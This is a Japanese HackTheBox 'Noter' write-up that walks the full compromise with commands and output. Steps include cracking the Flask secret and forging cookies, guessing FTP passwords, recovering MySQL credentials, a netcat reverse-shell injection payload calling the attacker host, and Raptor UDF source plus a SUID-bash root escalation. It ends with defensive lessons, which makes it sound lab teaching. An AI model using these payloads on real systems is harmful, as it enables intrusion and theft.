HackTheBox: Noter — 全実行コマンド・実行結果レポート
Nmap スキャン
FTP(21)+SSH(22)+Flask(5000)
→
FTP(21)+SSH(22)+Flask(5000)
register/login
正規署名Cookie取得
→
正規署名Cookie取得
Flask secretクラック
itsdangerous直接呼出し
→
itsdangerous直接呼出し
ログインオラクル
有効ユーザー名”blue”特定
→
有効ユーザー名”blue”特定
Cookie自前偽造
blueとしてログイン
→
blueとしてログイン
FTPパスワード規則
note本文+使い回しでftp_admin奪取
→
note本文+使い回しでftp_admin奪取
バックアップzip比較
MySQL root資格情報回収
→
MySQL root資格情報回収
md-to-pdf コマンドインジェクション
リバースシェル
→
リバースシェル
svc シェル
user.txt ✓
→
user.txt ✓
MySQL root + Raptor UDF
SUID bash設置
→
SUID bash設置
root shell
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p- --min-rate 500 -T4 10.129.67.144 nmap -sV -sC -p 21,22,5000 10.129.67.144
RESULT
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
ℹ️
Werkzeugバナーから Python/Flask 製アプリと分かる。FTP匿名ログインは拒否される
(
ftp> anonymous → 530 Login incorrect)。まずはWebアプリを起点に攻める。
サイト構造の確認
BASH
feroxbuster -u http://10.129.67.144:5000
RESULT
200 GET /register 200 GET /login 302 GET /dashboard => /login 302 GET /notes => /login 302 GET /VIP => /login
ℹ️
未ログイン状態では
/register・/login 以外すべて /login
へリダイレクトされる。まずはアカウント登録から始める必要がある。
PHASE 2
Flaskセッション Cookie の秘密鍵をクラック
捨てアカウントを登録しCookieサンプルを取得
BASH
curl -s -X POST http://10.129.67.144:5000/register \ --data "name=Pwn3r&email=pwn3r@noter.htb&username=pwn3r99&password=Pwn3rPass123!&confirm=Pwn3rPass123!" curl -s -X POST http://10.129.67.144:5000/login -c cookies.txt \ --data "username=pwn3r99&password=Pwn3rPass123!"
RESULT (発行されたCookie例)
session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicHduM3I5OSJ9.YkQb...
ℹ️
Cookieの見た目はJWTに似ているが、Flaskの標準セッション実装
(
itsdangerous.URLSafeTimedSerializer) によるもの。
flask-unsign --decode --cookie '<cookie>' でデコードすると
{'logged_in': True, 'username': 'pwn3r99'} が見える。
秘密鍵をブルートフォース
BASH (flask-unsignツール利用)
flask-unsign --unsign --cookie '<上記cookie>' \ -w /usr/share/wordlists/rockyou.txt --no-literal-eval
PYTHON (itsdangerous直接呼出し、より高速)
import hashlib
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import TimestampSigner, URLSafeTimedSerializer
def make_serializer(secret):
return URLSafeTimedSerializer(
secret_key=secret, salt='cookie-session',
serializer=TaggedJSONSerializer(), signer=TimestampSigner,
signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1})
sample_cookie = "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicHduM3I5OSJ9...."
with open('/usr/share/wordlists/rockyou.txt', encoding='latin-1') as f:
for line in f:
secret = line.rstrip('\n')
try:
make_serializer(secret).loads(sample_cookie)
print("FOUND:", secret)
break
except Exception:
continue
RESULT
FOUND: secret123
✅
秘密鍵漏洩。 rockyou.txt内の弱いパスワードがそのままFlaskの
SECRET_KEYとして使われていた。この鍵さえあれば、DBに一切書き込まずに
任意の内容を持つCookieを自由に偽造できる。
PHASE 3
ログインオラクルでユーザー名特定 & FTP資格情報回収
ログインエラーメッセージの差異をオラクルに利用
NOTE
ログインフォームは「無効なユーザー名」と「ユーザー名は存在するがパスワードが違う」 の場合でレスポンス本文が異なる。この差分を使い、有効なユーザー名を 自動化された総当たりなしに (適当な既知候補 "blue" を1回試すだけで) 特定できる。
BASH
curl -s -X POST http://10.129.67.144:5000/login \ --data "username=zzz_definitely_not_a_real_user&password=junk" -o baseline.html curl -s -X POST http://10.129.67.144:5000/login \ --data "username=blue&password=junk" -o blue_probe.html diff baseline.html blue_probe.html
RESULT
差分あり (レスポンス長: baseline 2076バイト vs blue 2039バイト) → "blue" は実在するユーザー名と確認
ℹ️
ページの本文中の “Invalid credentials” 的な文言の位置・文脈が
ユーザー名の有無によって微妙に変わるため、単純なバイト長比較や
wfuzz --hs "Invalid credentials" のような固定文字列フィルタで
有効/無効を判別できる。名前辞書全体を総当たりしなくても、有力候補を
少数試すだけで済む場合が多い。
秘密鍵でCookieを自前偽造しblueとしてログイン
PYTHON
cookie = make_serializer('secret123').dumps(
{'logged_in': True, 'username': 'blue'})
print(cookie)
BASH (ブラウザのDevToolsでCookie差し替え、またはcurlで直接)
curl -s http://10.129.67.144:5000/notes --cookie "session=$COOKIE"
RESULT
<li><a href="note/1">Noter Premium Membership</a></li> <li><a href="note/2">Before the weekend</a></li>
note本文からFTP資格情報とパスワード規則を回収
BASH
curl -s http://10.129.67.144:5000/note/1 --cookie "session=$COOKIE"
RESULT (note本文抜粋)
Hello, Thank you for choosing our premium service. ...
By the way, now you can access our FTP service as well.
Your username is 'blue' and the password is 'blue@Noter!'.
Make sure to remember them and delete this.
...
ftp_admin
⚠️
パスワードは “username@site_name!” という規則で自動生成される
(アプリ全体共通の初期パスワード規則)。noteの署名者
ftp_admin も
この規則に従っている可能性が高いと推測できる。
BASH (blueでFTP接続確認 & ftp_adminのパスワードを規則から導出)
ftp 10.129.67.144 Name: blue Password: blue@Noter! 230 Login successful. # 規則を流用: ftp_admin@Noter! ftp 10.129.67.144 Name: ftp_admin Password: ftp_admin@Noter! 230 Login successful.
✅
推測成功。 ftp_adminも同じデフォルトパスワード規則のまま
運用されていた。
バックアップzipを回収しMySQL資格情報を抽出
BASH (ftp_adminのFTPホームにある2つのzip)
ftp> ls -rw-r--r-- app_backup_1635803546.zip -rw-r--r-- app_backup_1638395546.zip ftp> mget *
BASH (2つのapp.pyを比較)
unzip -p app_backup_1635803546.zip app.py > app-1.py unzip -p app_backup_1638395546.zip app.py > app-2.py diff app-1.py app-2.py | grep MYSQL
RESULT
< app.config['MYSQL_USER'] = 'root'
< app.config['MYSQL_PASSWORD'] = 'Nildogg36'
---
> app.config['MYSQL_USER'] = 'DB_user'
> app.config['MYSQL_PASSWORD'] = 'DB_password'
🚨
古い方(app-1.py)には本物のMySQL root資格情報がハードコードされていた
(新しい方はプレースホルダに置き換わっている)。この
root:Nildogg36
は後のroot権限昇格で使用する。
PHASE 4
md-to-pdf コマンドインジェクションで RCE → user.txt
脆弱なコード箇所の特定
PYTHON (app-2.pyより抜粋)
r = pyrequest.get(url, allow_redirects=True)
rand_int = random.randint(1, 10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
🚨
/export_note_remoteはユーザー指定URLの内容を取得し、
$'...'(bashの ANSI-C クォート)で囲ってシェルに渡している。
「;」でのコマンド連結は文字列内の一部として無害化されるが、
文字列自体にシングルクォートを混入させて$'...'を早期終了させ、
続けて$(...)サブシェルを埋め込むことでコマンドインジェクションが成立する。
ペイロード作成とリバースシェル
BASH (payload.md 作成)
cat > payload.md << 'EOF' '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4445 >/tmp/f)' EOF python3 -m http.server 8093 & nc -lnvp 4445 &
BASH (blueのCookieでトリガー)
curl -s -X POST http://10.129.67.144:5000/export_note_remote \ --cookie "session=$COOKIE" \ --data "url=http://10.10.15.200:8093/payload.md"
RESULT (nc リスナー側)
listening on [any] 4445 ...
connect to [10.10.15.200] from ... 51506
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
✅
RCE成功! svcユーザーとしてシェルを確立。
/export_note_remoteはVIPユーザーのみ利用可能な機能だが、
blueはこのボックスにおいて既定でVIP権限を付与されたテストアカウントである
(登録直後の一般アカウントでは403が返る点に注意)。
シェル永続化 & user.txt
BASH (シェル内でSSH鍵を注入)
$ mkdir -p ~/.ssh && chmod 700 ~/.ssh $ echo "ssh-ed25519 AAAA... kali@attacker" >> ~/.ssh/authorized_keys $ chmod 600 ~/.ssh/authorized_keys $ cat user.txt
RESULT
66b6b35cd072b79d28c1a18d9814e6d0
user.txt — svc
66b6b35cd072b79d28c1a18d9814e6d0
ℹ️
不安定なリバースシェルに頼り続けるより、この時点でSSH公開鍵認証の
アクセス経路を確立しておくと、以降の権限昇格作業が格段に安定する。
PHASE 5
MySQL root + Raptor UDF → root.txt
MySQLがroot権限で稼働していることを確認
BASH (SSH鍵でログイン)
ssh -i noter_svc_key svc@10.129.67.144 svc@noter:~$ cat /etc/systemd/system/mysql-start.service
RESULT
[Service]
ExecStart=/usr/sbin/mysqld
User=root
Group=root
Raptor UDF (raptor_udf2.c) を用意
NOTE
古典的な公開exploit (exploit-db #1518) はmysql.hをインクルードするため libmysqlclient-devが必要。Kaliでクロスコンパイルしてターゲットへ転送する 方法は、glibcバージョン差異により古いUbuntuターゲットで"GLIBC_x.y not found" となるリスクがある。UDF_ARGS/UDF_INITの構造体を自前でtypedefすれば mysql.hへの依存を排除でき、ターゲット上でネイティブにコンパイルできる (このボックスにはgccが標準で入っている)。
BASH (svc@noter上で直接コンパイル)
cat > /dev/shm/raptor_udf2.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef char my_bool;
typedef struct st_udf_args {
unsigned int arg_count;
int *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
void *extension;
} UDF_ARGS;
typedef struct st_udf_init {
my_bool maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
my_bool const_item;
void *extension;
} UDF_INIT;
my_bool do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "THIS FUNCTION REQUIRES ONE STRING ARGUMENT");
return 1;
}
return 0;
}
void do_system_deinit(UDF_INIT *initid) {}
long long do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
system(args->args[0]);
return 0;
}
EOF
gcc -g -c /dev/shm/raptor_udf2.c -o /dev/shm/raptor_udf2.o
gcc -g -shared -Wl,-soname,raptor_udf2.so -o /dev/shm/raptor_udf2.so /dev/shm/raptor_udf2.o -lc
✅
mysql.h/libmysqlclient-devに一切依存しないため、標準のgccだけで
ABI不一致リスクなくコンパイルできる。
MySQL rootでUDFをロードしSUID bashを設置
BASH
mysql -u root -p'Nildogg36' mysql
SQL
MariaDB [mysql]> SHOW VARIABLES LIKE 'plugin_dir';
+------------+-----------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
+------------+-----------------------------------------------+
MariaDB [mysql]> create table foo(line blob);
MariaDB [mysql]> insert into foo values(load_file('/dev/shm/raptor_udf2.so'));
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
MariaDB [mysql]> select do_system('cp /bin/bash /tmp/nrootbash; chmod 4777 /tmp/nrootbash');
RESULT
+----------------------------------------------------------------------+
| do_system('cp /bin/bash /tmp/nrootbash; chmod 4777 /tmp/nrootbash') |
+----------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------+
ℹ️
/dev/shmはnosuidマウントのためSUIDビットが機能しない。
/tmpなどnosuidでない場所にコピーする必要がある
(mount | grep shmで確認可能)。
SUID bash で root 昇格 → root.txt
BASH
svc@noter:~$ ls -l /tmp/nrootbash -rwsrwxrwx 1 root root ... /tmp/nrootbash svc@noter:~$ /tmp/nrootbash -p -c 'cat /root/root.txt'
RESULT
ebfdb7a7dd167694b11a1f93d6caca5d
root.txt
ebfdb7a7dd167694b11a1f93d6caca5d
ℹ️
bashはSUIDビットが付いていても通常privilege dropping(実権限降格)を行うため、
-pオプションを付けて実行しないと有効UIDが即座にrootのままにならない。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc
66b6b35cd072b79d28c1a18d9814e6d0
root.txt
ebfdb7a7dd167694b11a1f93d6caca5d
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 弱いFlask SECRET_KEY | セッションCookie署名鍵 | 任意ユーザーへのなりすまし | Critical | rockyou.txt収録の弱い値(“secret123”)がそのままSECRET_KEYに使われており、itsdangerousで直接ブルートフォース可能 |
| ログインオラクル (ユーザー列挙) | /login エンドポイント | 有効ユーザー名の特定 | High | 無効ユーザー名と無効パスワードとでレスポンスが微妙に異なり、少数の候補試行だけで有効アカウントを特定できる |
| 脆弱なデフォルトパスワード規則の使い回し | FTPアカウント (blue, ftp_admin) | FTP経由でのソースコード・機密ファイル漏洩 | High | 「username@site_name!」という予測可能な初期パスワード規則が変更されずに複数アカウントで使い回されている |
| コマンドインジェクション (md-to-pdf呼び出し) | /export_note_remote エンドポイント | svcユーザーとしての任意コード実行 | Critical | subprocess.run(shell=True)へ渡す文字列のANSI-Cクォート($’…’)をユーザー制御値に含まれるシングルクォートで早期終了させ、$(…)サブシェルを注入 |
| バックアップファイルへの機密情報残留 | FTP経由のapp_backup_*.zip | MySQL root資格情報の漏洩 | High | 古いソースコードバックアップに本物のDB資格情報がハードコードされたまま放置されており、パスワードローテーション後も外部からアクセス可能なFTP領域に残存 |
| MySQL root稼働 + UDF任意コード実行 (Raptor) | mysqld (User=root) | root権限奪取 | Critical | root権限のMySQLに接続できれば、UDF共有ライブラリをplugin_dirへ書き込みロードするだけでOSコマンドを任意のroot権限で実行できる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + feroxbuster | FTP/SSH/Flask構成 |
| 2 | 秘密鍵クラック | register→login+itsdangerousブルートフォース | Flask SECRET_KEY “secret123” |
| 3 | 認証バイパス+資格情報収集 | ログインオラクル+Cookie偽造+パスワード規則流用 | blue/ftp_adminのFTP資格情報、MySQL root資格情報 |
| 4 | RCE | md-to-pdfコマンドインジェクション | user.txt (svc) |
| 5 | 権限昇格 | MySQL Raptor UDF (ネイティブコンパイル) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| FlaskアプリのSECRET_KEYが辞書攻撃で破られる程度の弱い値になっている | SECRET_KEYはsecrets.token_hex(32)等で生成した高エントロピーなランダム値を使用し、環境変数やシークレット管理サービスから読み込む。 |
| ログインフォームがユーザー名の有無によって異なるレスポンスを返しユーザー列挙を許してしまう | 無効ユーザー名・無効パスワードいずれの場合も同一のエラーメッセージ・同一のレスポンス時間になるよう実装を統一する。 |
| アプリのデフォルトパスワード生成規則が予測可能かつ全アカウント共通で、変更が強制されない | 初回ログイン時のパスワード変更を強制し、規則を利用者に開示しない。可能であれば初回パスワードをランダム生成しSMS/メール等の別チャネルで individually 通知する。 |
| markdownからPDFへの変換処理がユーザー制御のコンテンツをshell=Trueのsubprocessに渡しており、クォート方式に頼った対策では不十分 | シェル経由の呼び出しを避け、必要な引数はリスト形式で渡す(shell=False)。外部プロセスへの入力は一時ファイル経由にするなどしてシェルメタ文字の混入経路を断つ。 |
| ソースコードバックアップに機密情報(DB資格情報)がハードコードされたまま、外部からアクセス可能な場所に長期間放置されている | 資格情報は環境変数やシークレット管理サービスから取得しソースコードに含めない。バックアップファイルへのアクセス制御を厳格化し、定期的な棚卸しを行う。 |
| アプリケーション用のMySQLがroot権限で稼働しており、単なるDB操作用アカウントの侵害が即座にOSレベルの権限昇格に直結する | MySQL/MariaDBは専用の非特権ユーザーで稼働させ、secure_file_priv設定でload_file/dumpfileの使用範囲を制限し、UDFの動的ロードを不要な環境では無効化する。 |

